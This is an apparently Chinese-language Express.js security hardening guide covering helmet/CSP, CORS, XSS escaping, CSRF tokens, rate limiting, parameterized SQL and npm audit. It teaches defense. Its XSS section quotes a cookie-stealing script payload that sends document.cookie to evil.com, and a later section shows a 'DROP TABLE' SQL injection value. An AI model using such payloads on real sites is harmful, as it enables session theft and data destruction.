npm install helmet

const helmet = require('helmet');

app.use(helmet());

// 或精细配置
app.use(helmet({
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'", "'unsafe-inline'"],
      styleSrc: ["'self'", "'unsafe-inline'"],
      imgSrc: ["'self'", 'data:', 'https:'],
      connectSrc: ["'self'", 'https://api.example.com'],
    },
  },
  crossOriginEmbedderPolicy: false, // 如果需要加载外部资源
}));

npm install cors

const cors = require('cors');

// 基本使用（允许所有来源 — 仅开发环境）
app.use(cors());

// 生产环境配置
const corsOptions = {
  origin: (origin, callback) => {
    const allowedOrigins = [
      'https://example.com',
      'https://admin.example.com',
    ];
    if (!origin || allowedOrigins.includes(origin)) {
      callback(null, true);
    } else {
      callback(new Error('CORS 策略不允许此来源'));
    }
  },
  methods: ['GET', 'POST', 'PUT', 'PATCH', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization'],
  exposedHeaders: ['X-Total-Count', 'X-Request-Id'],
  credentials: true,  // 允许 Cookie
  maxAge: 86400,      // 预检请求缓存 24 小时
};

app.use(cors(corsOptions));

// XSS 示例：用户输入被当作 HTML 执行
// 用户输入：<script>document.location='https://evil.com/?cookie='+document.cookie</script>
// 如果直接渲染到页面，会窃取 Cookie

// 防护 1：输出转义
function escapeHtml(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#39;');
}

// 防护 2：使用 helmet CSP 头
// 防护 3：使用模板引擎的自动转义（EJS 默认转义）
// 防护 4：Cookie 设置 httpOnly
res.cookie('session', token, {
  httpOnly: true,    // JavaScript 无法访问
  secure: true,      // 仅 HTTPS
  sameSite: 'strict', // 不随跨站请求发送
  maxAge: 86400000,
});

npm install csurf

// CSRF Token 方式
const csrf = require('csurf');
const csrfProtection = csrf({ cookie: { httpOnly: true, sameSite: 'strict' } });

app.get('/form', csrfProtection, (req, res) => {
  res.render('form', { csrfToken: req.csrfToken() });
});

app.post('/transfer', csrfProtection, (req, res) => {
  // Token 验证通过才会执行到这里
  res.send('转账成功');
});

// SameSite Cookie 方式（更简单）
res.cookie('session', token, {
  sameSite: 'strict', // 跨站请求不会携带此 Cookie
});

npm install express-rate-limit rate-limit-redis

const rateLimit = require('express-rate-limit');

// 基本限速
const limiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 分钟
  max: 100,                  // 每个 IP 最多 100 次请求
  standardHeaders: true,
  legacyHeaders: false,
  message: { error: '请求过于频繁，请稍后再试' },
});

app.use('/api/', limiter);

// 登录接口更严格的限制
const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,
  max: 5,
  message: { error: '登录尝试次数过多，请 15 分钟后重试' },
  skipSuccessfulRequests: true, // 成功的请求不计入
});

app.use('/api/login', loginLimiter);

// Redis 存储（多实例部署）
const RedisStore = require('rate-limit-redis');
const { createClient } = require('redis');

const redisClient = createClient();
redisClient.connect();

const redisLimiter = rateLimit({
  store: new RedisStore({ sendCommand: (...args) => redisClient.sendCommand(args) }),
  windowMs: 60 * 1000,
  max: 60,
});

// ❌ 危险：字符串拼接
const query = `SELECT * FROM users WHERE id = ${userId}`;
// userId = "1; DROP TABLE users;"

// ✅ 安全：参数化查询
const [rows] = await pool.execute('SELECT * FROM users WHERE id = ?', [userId]);

// ✅ 使用 ORM（自动参数化）
const user = await prisma.user.findUnique({ where: { id: userId } });

// 限制请求体大小
app.use(express.json({ limit: '1mb' }));

// 防止 ReDoS（正则表达式拒绝服务）
// ❌ 危险的正则
const badRegex = /^(a+)+$/;
// badRegex.test('aaaaaaaaaaaaaaaaaaaac'); // 灾难性回溯

// ✅ 使用安全的正则或限制输入长度
app.use((req, res, next) => {
  const body = JSON.stringify(req.body);
  if (body && body.length > 1000000) { // 1MB
    return res.status(413).json({ error: '请求体过大' });
  }
  next();
});

# npm 内置审计
npm audit
npm audit fix

# 强制修复
npm audit fix --force

# 检查过期依赖
npm outdated

// security-checklist.js
module.exports = {
  headers: {
    'X-Content-Type-Options': 'nosniff',
    'X-Frame-Options': 'DENY',
    'X-XSS-Protection': '1; mode=block',
    'Strict-Transport-Security': 'max-age=31536000; includeSubDomains',
    'Referrer-Policy': 'strict-origin-when-cross-origin',
    'Permissions-Policy': 'camera=(), microphone=(), geolocation=()',
  },
  cookies: {
    httpOnly: true,
    secure: process.env.NODE_ENV === 'production',
    sameSite: 'strict',
    maxAge: 24 * 60 * 60 * 1000,
  },
};